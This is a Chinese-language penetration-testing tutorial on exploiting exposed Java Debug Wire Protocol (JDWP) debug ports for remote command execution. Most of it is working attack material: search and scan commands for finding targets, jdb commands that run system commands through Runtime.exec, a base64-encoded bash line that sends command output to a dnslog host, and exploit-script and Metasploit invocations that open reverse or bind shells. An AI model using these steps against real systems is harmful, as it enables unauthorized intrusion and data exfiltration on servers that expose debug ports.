跳到主要内容

JDWP远程命令执行漏洞

概述

JPDA(Java Platform Debugger Architecture)即Java平台调试体系架构,其整体架构如图:

image-20240523134513721

整体分为三层:

  • JVMTI:Java VM Tool Interface即JVM工具接口。Debuggee即被调试者是由被调试的应用程序(未显示)、运行应用程序的VM和调试器后端组成。为了可远程调试,JVM实例必须使用命令行参数-Xdebug以及参数-Xrunjdwp(或-agentlib)显式启动。其中调试器后端是使用JVMTI来定义JVM提供的调试服务;
  • JDWP:Java Debug Wire Protocol是Debugger和JVM实例之间的通信协议;
  • JDI:Java Debug Interface即Java调试接口,是JDWP协议的客户端,调试器通过其来远程调试目标JVM中的应用;

JDWP(Java Debug Wire Protocol,Java调试线协议)是一个为Java调试而设计的通讯交互协议,它定义了调试器(Debugger)和被调试JVM(Debuggee)进程之间的交互数据的传递格式,它详细完整地定义了请求命令、回应数据和错误代码,保证了调试端和被调试端之间通信通畅。

在渗透测试的过程中,如果遇到目标开启了JDWP服务,就可以利用JDWP实现远程代码执行。

识别服务

fofa:banner="jdwp"

nmap扫描识别服务

nmap -sT -sV 192.168.192.1 -p 8000

image-20240523134137469

测试利用

jdb手动调试

二选一连接远程JDWP服务
jdb -attach 192.168.0.100:8000
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.182.130,port=8000

使用threads命令查看所有线程

image-20240523135408480

使用thread <线程id> 命令选择指定一个sleeping的线程,再执行stepi命令进入该线程(stepi命令用于执行当前指定,启动休眠的线程)

thread 0x6ca
stepi

image-20240523135628029

这里实战时尝试选择http-bio-8080-xxxx的sleeping线程,发现执行RunTime()失败,此时可以尝试换一个线程再进行利用,后面尝试idea-xxxx线程成功执行命令

接下来可以通过 print|dump|eval 命令,执行Java表达式从而达成命令执行

eval java.lang.Runtime.getRuntime().exec("whoami")

image-20240523140107490

这里是使用java.lang.Runtime去执行系统命令,可以看到命令是执行成功,返回了一个Process对象,直接这样利用没有回显(有方式可以实现直接回显,参考https://github.com/r3change/jdwp-shellifier),我们可以使用dnslog平台查询命令执行的结果

另外使用java.lang.Runtime执行系统命令有个坑点,就是执行的命令中如果包含特殊符号,执行命令可能就会执行不成功,解决办法就是对要执行的命令进行编码处理(base64)

bash -c {echo,cGluZyBgd2hvYW1pYC50ZnVoZXcuZG5zbG9nLmNu} | {base64,-d} | {bash,-i}

利用jdwp-shellifier脚本

漏洞利用脚本1:https://github.com/IOActive/jdwp-shellifier jdwp-shellifier是使用Python2编写的,该工具通过编写了一个JDI(JDWP客户端),以下断点的方式来获取线程上下文从而调用方法执行命令。

漏洞利用脚本2:https://github.com/Lz1y/jdwp-shellifier 该脚本是在上面一个漏洞利用脚本的基础上,修改利用方式为通过对Sleeping的线程发送单步执行事件,达成断点,从而可以直接获取上下文、执行命令,而不用等待断点被击中。

漏洞利用脚本3https://github.com/r3change/jdwp-shellifier 2022年r3change基于原版断点方式的jdwp-shellifier进行改写,增加了命令执行的回显

python2 jdwp-shellifier.py -t 192.168.182.130 -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"

漏洞利用脚本4https://github.com/l3yx/jdwp-codeifier 使用不需要等待断点的方式且能够动态执行Java/Js代码并获得回显。同时也将上文中的内存Shell内置进了工具中,反弹Java内存Shell

python jdwp-codeifier.py -t 192.168.65.254 -p 8000 -m rshell -a 127.0.0.1:8080 -l 0.1
# -a 指定反弹shell的地址
# -l 指定shell与服务器连接不上时的最大存活时间(分钟)(每隔5秒自动重连)

MSF漏洞模块利用

这里使用Metasploit自带的漏洞利用模块exploit/multi/misc/java_jdwp_debugger进行漏洞利用

msf5 > use exploit/multi/misc/java_jdwp_debugger
msf5 exploit(multi/misc/java_jdwp_debugger) > set rhosts 192.168.182.129
msf5 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x64/shell/bind_tcp
msf5 exploit(multi/misc/java_jdwp_debugger) > run

image-20240523141357956

实战中msf没测试成功(EOF错误),使用手工和漏洞利用脚本3成功执行命令。

参考文章: https://forum.butian.net/share/1232 https://xz.aliyun.com/t/13161 https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#JDWP